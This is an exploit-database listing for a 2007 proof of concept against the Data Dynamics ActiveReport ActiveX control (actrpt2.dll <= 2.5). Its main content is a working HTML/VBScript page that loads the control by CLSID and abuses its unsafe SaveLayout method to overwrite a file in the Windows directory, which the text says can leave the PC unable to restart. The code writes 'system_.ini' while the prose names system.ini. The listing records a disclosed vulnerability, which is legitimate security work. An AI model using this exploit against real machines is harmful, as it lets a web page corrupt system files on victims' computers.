Data Dynamics ActiveReport ActiveX Control (actrpt2.dll

vendor:

ActiveReport ActiveX Control

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

CWE

Product Name: ActiveReport ActiveX Control

Affected Version From: <= 2.5

Affected Version To: <= 2.5

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

Data Dynamics ActiveReport ActiveX Control (actrpt2.dll <= 2.5) "SaveLayout()" Insecure Method

The exploit overwrites the system.ini file, which can cause the PC to not restart. All software that uses this ocx are vulnerable to this exploit.

Mitigation:

Make a copy of the system.ini file before running this exploit.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveReport ActiveX Control (actrpt2.dll <= 2.5) "SaveLayout()" Inscure Method</b>
 url: http://www.datadynamics.com/default.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>
-----------------------------------------------------------------------------------------------

<object classid='clsid:9EB8768B-CDFA-44DF-8F3E-857A8405E1DB' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
    test.SaveLayout "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-07-21]